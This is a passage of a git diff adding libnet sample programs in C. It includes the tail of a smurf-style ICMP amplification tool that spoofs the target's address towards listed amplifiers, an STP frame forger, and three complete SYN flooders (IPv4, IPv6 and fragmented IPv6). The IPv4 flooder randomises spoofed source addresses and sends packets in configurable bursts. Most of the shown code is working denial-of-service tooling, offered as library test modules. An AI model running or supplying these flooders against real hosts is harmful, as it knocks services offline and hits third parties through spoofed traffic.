+ device = optarg;
+ break;
+ case 'c':
+ count = strtoul(optarg, 0, 10);
+ break;
+ }
+ }
+
+ if (optind == argc) {
+ fprintf(stderr, "No amplifier given.\n");
+ usage(argv[0]);
+ exit (EXIT_FAILURE);
+ }
+
+ if (!pTarget) {
+ fprintf(stdout, "No target given.\n");
+ usage(argv[0]);
+ exit (EXIT_FAILURE);
+ }
+
+ if ((target_ip = libnet_name2addr4(l, pTarget, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad target IP address: %s\n", pTarget);
+ exit(EXIT_FAILURE);
+ }
+
+ /* Create a context for each amplifier */
+ for (i = 0; optind < argc; optind++) {
+
+ printf ("Adding amplifier %s\n", argv[optind]);
+
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ if ((ampli_ip = libnet_name2addr4(l, argv[optind], LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", argv[optind]);
+ exit(1);
+ }
+
+ /* build the packet */
+ t = libnet_build_icmpv4_echo(
+ ICMP_ECHO, /* type */
+ 0, /* code */
+ 0, /* checksum */
+ 0x42, /* id */
+ 0x42, /* sequence number */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H, /* length */
+ 0, /* TOS */
+ 0x42, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ target_ip, /* source IP */
+ ampli_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /* and finally, put it in the arena */
+ snprintf(label, sizeof(label)-1, "echo%d", i);
+ if (libnet_cq_add(l, label) == -1)
+ {
+ fprintf(stderr, "add error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ } /* for (optind < argc) */
+
+
+ /* Attaaaaaaaaaack */
+ for_each_context_in_cq(l) {
+ /*
+ * Write it to the wire.
+ */
+ for (i = 0; i<count; i++) {
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error (pkt #%d): %s\n", i, libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
+ }
+ }
+ }
+
+
+ libnet_cq_destroy();
+ return (EXIT_SUCCESS);
+bad:
+ libnet_cq_destroy();
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s -t targe_ip [-i iface] [-c count=10] amplifiers\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/stp.c b/libnet/sample/stp.c
new file mode 100644
index 0000000..16498b3
--- /dev/null
+++ b/libnet/sample/stp.c
@@ -0,0 +1,227 @@
+/*
+ * $Id: stp.c,v 1.3 2004/01/21 19:01:29 mike Exp $
+ *
+ * libnet 1.1
+ * Build an STP frame
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+#define CONF 1
+#define TCN 2
+
+int
+main(int argc, char *argv[])
+{
+ int c, len, type;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *dst, *src;
+ u_char rootid[8], bridgeid[8];
+ char *device = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: [STP]\n");
+
+ device = NULL;
+ src = dst = NULL;
+ type = CONF;
+ while ((c = getopt(argc, argv, "cd:i:s:t")) != EOF)
+ {
+ switch (c)
+ {
+ case 'c':
+ type = CONF;
+ break;
+ case 'd':
+ dst = libnet_hex_aton(optarg, &len);
+ break;
+ case 'i':
+ device = optarg;
+ break;
+ case 's':
+ src = libnet_hex_aton(optarg, &len);
+ break;
+ case 't':
+ type = TCN;
+ break;
+ default:
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (src == NULL || dst == NULL)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ if (type == CONF)
+ {
+ rootid[0] = 0x80;
+ rootid[1] = 0x00;
+ rootid[2] = 0x00;
+ rootid[3] = 0x07;
+ rootid[4] = 0xec;
+ rootid[5] = 0xae;
+ rootid[6] = 0x30;
+ rootid[7] = 0x41;
+
+ bridgeid[0] = 0x80;
+ bridgeid[1] = 0x00;
+ bridgeid[2] = 0x00;
+ bridgeid[3] = 0x07;
+ bridgeid[4] = 0xec;
+ bridgeid[5] = 0xae;
+ bridgeid[6] = 0x30;
+ bridgeid[7] = 0x41;
+
+ t = libnet_build_stp_conf(
+ 0x0000, /* protocol id */
+ 0x00, /* protocol version */
+ 0x00, /* BPDU type */
+ 0x00, /* BPDU flags */
+ rootid, /* root id */
+ 0x00000001, /* root path cost */
+ bridgeid, /* bridge id */
+ 0x8002, /* port id */
+ 0x00, /* message age */
+ 0x0014, /* max age */
+ 0x0002, /* hello time */
+ 0x000f, /* forward delay */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build STP conf header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+ }
+ else
+ {
+ t = libnet_build_stp_tcn(
+ 0x0000, /* protocol id */
+ 0x00, /* protocol version */
+ 0x80, /* BPDU type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build STP tcn header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+ }
+
+ t = libnet_build_802_2(
+ LIBNET_SAP_STP, /* DSAP */
+ LIBNET_SAP_STP, /* SSAP */
+ 0x03, /* control */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_802_3(
+ dst, /* ethernet destination */
+ src, /* ethernet source */
+ LIBNET_802_2_H + ((type == CONF) ? LIBNET_STP_CONF_H :
+ LIBNET_STP_TCN_H), /* frame size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte STP packet; check the wire.\n", c);
+ }
+ free(dst);
+ free(src);
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ free(dst);
+ free(src);
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage %s -d dst -s src -t -c [-i interface]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/synflood.c b/libnet/sample/synflood.c
new file mode 100644
index 0000000..e3fe8b5
--- /dev/null
+++ b/libnet/sample/synflood.c
@@ -0,0 +1,200 @@
+/*
+ * $Id: synflood.c,v 1.1.1.1 2003/06/26 21:55:11 route Exp $
+ *
+ * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
+ * SYN flooder rewritten for no good reason. Again as libnet test module.
+ * Again for libnet 1.1.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+struct t_pack
+{
+ struct libnet_ipv4_hdr ip;
+ struct libnet_tcp_hdr tcp;
+};
+
+
+int
+main(int argc, char **argv)
+{
+ u_long dst_ip = 0;
+ u_long src_ip = 0;
+ u_short dst_prt = 0;
+ u_short src_prt = 0;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *cp;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ int i, c, packet_amt, burst_int, burst_amt, build_ip;
+
+ packet_amt = 0;
+ burst_int = 0;
+ burst_amt = 1;
+
+ printf("libnet 1.1 syn flooding: TCP[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 't':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, 1)) == -1)
+ {
+ fprintf(stderr, "Bad IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'a':
+ packet_amt = atoi(optarg);
+ break;
+ case 'i':
+ burst_int = atoi(optarg);
+ break;
+ case 'b':
+ burst_amt = atoi(optarg);
+ break;
+ default:
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!dst_prt || !dst_ip || !packet_amt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ libnet_seed_prand(l);
+
+ for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
+ {
+ for (i = 0; i < packet_amt; i++)
+ {
+ t = libnet_build_tcp(
+ src_prt = libnet_get_prand(LIBNET_PRu16),
+ dst_prt,
+ libnet_get_prand(LIBNET_PRu32),
+ libnet_get_prand(LIBNET_PRu32),
+ TH_SYN,
+ libnet_get_prand(LIBNET_PRu16),
+ 0,
+ 0,
+ LIBNET_TCP_H,
+ NULL,
+ 0,
+ l,
+ t);
+
+ if (build_ip)
+ {
+ build_ip = 0;
+ libnet_build_ipv4(
+ LIBNET_TCP_H + LIBNET_IPV4_H,
+ 0,
+ libnet_get_prand(LIBNET_PRu16),
+ 0,
+ libnet_get_prand(LIBNET_PR8),
+ IPPROTO_TCP,
+ 0,
+ src_ip = libnet_get_prand(LIBNET_PRu32),
+ dst_ip,
+ NULL,
+ 0,
+ l,
+ 0);
+ }
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
+ }
+#if !(__WIN32__)
+ usleep(250);
+#else
+ Sleep(250);
+#endif
+
+ printf("%15s:%5d ------> %15s:%5d\n",
+ libnet_addr2name4(src_ip, 1),
+ ntohs(src_prt),
+ libnet_addr2name4(dst_ip, 1),
+ dst_prt);
+ }
+#if !(__WIN32__)
+ sleep(burst_int);
+#else
+ Sleep(burst_int * 1000);
+#endif
+ }
+ exit(EXIT_SUCCESS);
+}
+
+
+void
+usage(char *nomenclature)
+{
+ fprintf(stderr,
+ "\n\nusage: %s -t -a [-i -b]\n"
+ "\t-t target, (ip.address.port: 192.168.2.6.23)\n"
+ "\t-a number of packets to send per burst\n"
+ "\t-i packet burst sending interval (defaults to 0)\n"
+ "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
+}
+
+
+/* EOF */
diff --git a/libnet/sample/synflood6.c b/libnet/sample/synflood6.c
new file mode 100644
index 0000000..88ee43f
--- /dev/null
+++ b/libnet/sample/synflood6.c
@@ -0,0 +1,209 @@
+/*
+ * $Id: synflood6.c,v 1.2 2004/03/01 20:26:12 mike Exp $
+ *
+ * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
+ * SYN flooder rewritten for no good reason. Again as libnet test module.
+ * Again for libnet 1.1.
+ * All rights reserved.
+ *
+ * Modifications for ipv6 by Stefan Schlott <stefan@ploing.de>
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+struct t_pack
+{
+ struct libnet_ipv6_hdr ip;
+ struct libnet_tcp_hdr tcp;
+};
+
+
+int
+main(int argc, char **argv)
+{
+ struct libnet_in6_addr dst_ip;
+ struct libnet_in6_addr src_ip;
+ u_short dst_prt = 0;
+ u_short src_prt = 0;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *cp;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ int i, c, packet_amt, burst_int, burst_amt, build_ip;
+ char srcname[100],dstname[100];
+
+ packet_amt = 0;
+ burst_int = 0;
+ burst_amt = 1;
+
+ printf("libnet 1.1 syn flooding: TCP6[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW6, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
+ {
+ switch (c)
+ {
+ case 't':
+ if (!(cp = strrchr(optarg, '/')))
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ dst_ip = libnet_name2addr6(l, optarg, 1);
+ if (strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0)
+ {
+ fprintf(stderr, "Bad IP6 address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'a':
+ packet_amt = atoi(optarg);
+ break;
+ case 'i':
+ burst_int = atoi(optarg);
+ break;
+ case 'b':
+ burst_amt = atoi(optarg);
+ break;
+ default:
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE);
+ /*src_ip = libnet_name2addr6(l, "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE);
+ dst_prt = 113;
+ dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE);
+ packet_amt = 1;*/
+
+ if (!dst_prt || strncmp((char*)&dst_ip,(char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+
+ libnet_seed_prand(l);
+ libnet_addr2name6_r(src_ip,1,srcname,sizeof(srcname));
+ libnet_addr2name6_r(dst_ip,1,dstname,sizeof(dstname));
+
+ for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
+ {
+ for (i = 0; i < packet_amt; i++)
+ {
+ char payload[56];
+ int i;
+ for (i=0; i<56; i++) payload[i]='A'+((char)(i%26));
+ t = libnet_build_tcp(
+ src_prt = libnet_get_prand(LIBNET_PRu16),
+ dst_prt,
+ libnet_get_prand(LIBNET_PRu32),
+ libnet_get_prand(LIBNET_PRu32),
+ TH_SYN,
+ libnet_get_prand(LIBNET_PRu16),
+ 0,
+ 0,
+ LIBNET_TCP_H,
+ NULL,
+ 0,
+ l,
+ t);
+
+ if (build_ip)
+ {
+ build_ip = 0;
+ printf("Packet len = %ld\n",LIBNET_ICMPV6_H+sizeof(payload));
+ libnet_build_ipv6(0,0,
+ LIBNET_TCP_H,
+ IPPROTO_TCP,
+ 64,
+ src_ip,
+ dst_ip,
+ NULL,
+ 0,
+ l,
+ 0);
+ //libnet_autobuild_ipv6(LIBNET_TCP_H,IPPROTO_TCP,dst_ip,l);
+ }
+ printf("%15s/%5d -> %15s/%5d\n",
+ srcname,
+ ntohs(src_prt),
+ dstname,
+ dst_prt);
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
+ }
+#if !(__WIN32__)
+ usleep(250);
+#else
+ Sleep(250);
+#endif
+
+ }
+#if !(__WIN32__)
+ sleep(burst_int);
+#else
+ Sleep(burst_int * 1000);
+#endif
+ }
+ exit(EXIT_SUCCESS);
+}
+
+
+void
+usage(char *nomenclature)
+{
+ fprintf(stderr,
+ "\n\nusage: %s -t -a [-i -b]\n"
+ "\t-t target, (ip6:address/port, e.g. ::1/23)\n"
+ "\t-a number of packets to send per burst\n"
+ "\t-i packet burst sending interval (defaults to 0)\n"
+ "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
+}
+
+
+/* EOF */
diff --git a/libnet/sample/synflood6_frag.c b/libnet/sample/synflood6_frag.c
new file mode 100644
index 0000000..54e2aab
--- /dev/null
+++ b/libnet/sample/synflood6_frag.c
@@ -0,0 +1,234 @@
+/*
+ * $Id: synflood6_frag.c,v 1.1 2004/01/03 20:31:01 mike Exp $
+ *
+ * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
+ * SYN flooder rewritten for no good reason. Again as libnet test module.
+ * Again for libnet 1.1.
+ * All rights reserved.
+ *
+ * Modifications for ipv6 by Stefan Schlott <stefan@ploing.de>
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+struct t_pack
+{
+ struct libnet_ipv6_hdr ip;
+ struct libnet_tcp_hdr tcp;
+};
+
+
+int
+main(int argc, char **argv)
+{
+ struct libnet_in6_addr dst_ip;
+ struct libnet_in6_addr src_ip;
+ u_short dst_prt = 0;
+ u_short src_prt = 0;
+ libnet_t *l;
+ libnet_ptag_t tcp, ip, ip_frag;
+ u_char *cp;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ int i, j, c, packet_amt, burst_int, burst_amt;
+ char srcname[100], dstname[100];
+ u_int8_t payload[56];
+
+ packet_amt = 0;
+ burst_int = 0;
+ burst_amt = 1;
+ tcp = ip_frag = ip = LIBNET_PTAG_INITIALIZER;
+
+ printf("libnet 1.1 syn flooding: TCP IPv6 fragments [raw]\n");
+
+ l = libnet_init(
+ LIBNET_RAW6, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
+ {
+ switch (c)
+ {
+ case 't':
+ if (!(cp = strrchr(optarg, '/')))
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ dst_ip = libnet_name2addr6(l, optarg, 1);
+ if (strncmp((char*)&dst_ip,
+ (char*)&in6addr_error,sizeof(in6addr_error))==0)
+ {
+ fprintf(stderr, "Bad IPv6 address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'a':
+ packet_amt = atoi(optarg);
+ break;
+ case 'i':
+ burst_int = atoi(optarg);
+ break;
+ case 'b':
+ burst_amt = atoi(optarg);
+ break;
+ default:
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ src_ip = libnet_name2addr6(l, "0:0:0:0:0:0:0:1", LIBNET_DONT_RESOLVE);
+ /* src_ip = libnet_name2addr6(l,
+ "3ffe:400:60:4d:250:fcff:fe2c:a9cd", LIBNET_DONT_RESOLVE);
+ dst_prt = 113;
+ dst_ip = libnet_name2addr6(l, "nathan.ip6.uni-ulm.de", LIBNET_RESOLVE);
+ packet_amt = 1;
+ */
+
+ if (!dst_prt || strncmp((char*)&dst_ip,
+ (char*)&in6addr_error,sizeof(in6addr_error))==0 || !packet_amt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ libnet_seed_prand(l);
+ libnet_addr2name6_r(src_ip, LIBNET_RESOLVE, srcname, sizeof(srcname));
+ libnet_addr2name6_r(dst_ip, LIBNET_RESOLVE, dstname, sizeof(dstname));
+
+ for(; burst_amt--;)
+ {
+ for (i = 0; i < packet_amt; i++)
+ {
+ for (j = 0; j < 56; j++) payload[j] = 'A' + ((char)(j % 26));
+
+ tcp = libnet_build_tcp(
+ src_prt = libnet_get_prand(LIBNET_PRu16),
+ dst_prt,
+ libnet_get_prand(LIBNET_PRu32),
+ libnet_get_prand(LIBNET_PRu32),
+ TH_SYN,
+ libnet_get_prand(LIBNET_PRu16),
+ 0,
+ 0,
+ LIBNET_TCP_H,
+ NULL,
+ 0,
+ l,
+ tcp);
+ if (tcp == -1)
+ {
+ fprintf(stderr, "Can't build or modify TCP header: %s\n",
+ libnet_geterror(l));
+ return (EXIT_FAILURE);
+ }
+
+ ip_frag = libnet_build_ipv6_frag(
+ IPPROTO_TCP, /* next header */
+ 0, /* reserved */
+ 0, /* frag bits */
+ 1, /* ip id */
+ NULL,
+ 0,
+ l,
+ ip_frag);
+ if (ip_frag == -1)
+ {
+ fprintf(stderr, "Can't build or modify TCP header: %s\n",
+ libnet_geterror(l));
+ return (EXIT_FAILURE);
+ }
+
+ ip = libnet_build_ipv6(
+ 0, 0,
+ LIBNET_TCP_H,
+ IPPROTO_TCP,
+ 64,
+ src_ip,
+ dst_ip,
+ NULL,
+ 0,
+ l,
+ ip);
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build or modify TCP header: %s\n",
+ libnet_geterror(l));
+ return (EXIT_FAILURE);
+ }
+
+ printf("%15s/%5d -> %15s/%5d\n",
+ srcname,
+ ntohs(src_prt),
+ dstname,
+ dst_prt);
+
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
+ }
+#if !(__WIN32__)
+ usleep(250);
+#else
+ Sleep(250);
+#endif
+
+ }
+#if !(__WIN32__)
+ sleep(burst_int);
+#else
+ Sleep(burst_int * 1000);
+#endif
+ }
+ exit(EXIT_SUCCESS);
+}
+
+
+void
+usage(char *nomenclature)
+{
+ fprintf(stderr,
+ "\n\nusage: %s -t -a [-i -b]\n"
+ "\t-t target, (ip6:address/port, e.g. ::1/23)\n"
+ "\t-a number of packets to send per burst\n"
+ "\t-i packet burst sending interval (defaults to 0)\n"
+ "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
+}
+
+
+/* EOF */
diff --git a/libnet/sample/tcp1.c b/libnet/sample/tcp1.c
new file mode 100644
index 0000000..4253cf6
--- /dev/null
+++ b/libnet/sample/tcp1.c
@@ -0,0 +1,227 @@
+/*
+ * $Id: tcp1.c,v 1.6 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet 1.1
+ * Build a TCP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
